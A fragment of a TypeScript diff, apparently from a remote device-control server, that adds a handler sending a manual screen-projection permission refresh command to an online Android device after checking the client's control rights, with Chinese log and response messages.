private handleRefreshMediaProjectionManual(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`📺 手动授权投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`) + + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '设备已离线或不存在' + }) + return false + } + + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'REFRESH_MEDIA_PROJECTION_MANUAL', + deviceId, + data: {}, + timestamp: Date.now() + }) + + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: true, + message: '手动授权命令已发送,请在设备上手动确认权限' + }) + + this.logger.info(`✅ 手动授权投屏权限命令已发送: ${deviceId}`) + return true + } + } + + this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error('手动授权投屏权限失败:', error) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '手动授权投屏权限失败: ' + (error as Error).message + }) + return false + } + } + /** * 🆕 路由权限申请响应 */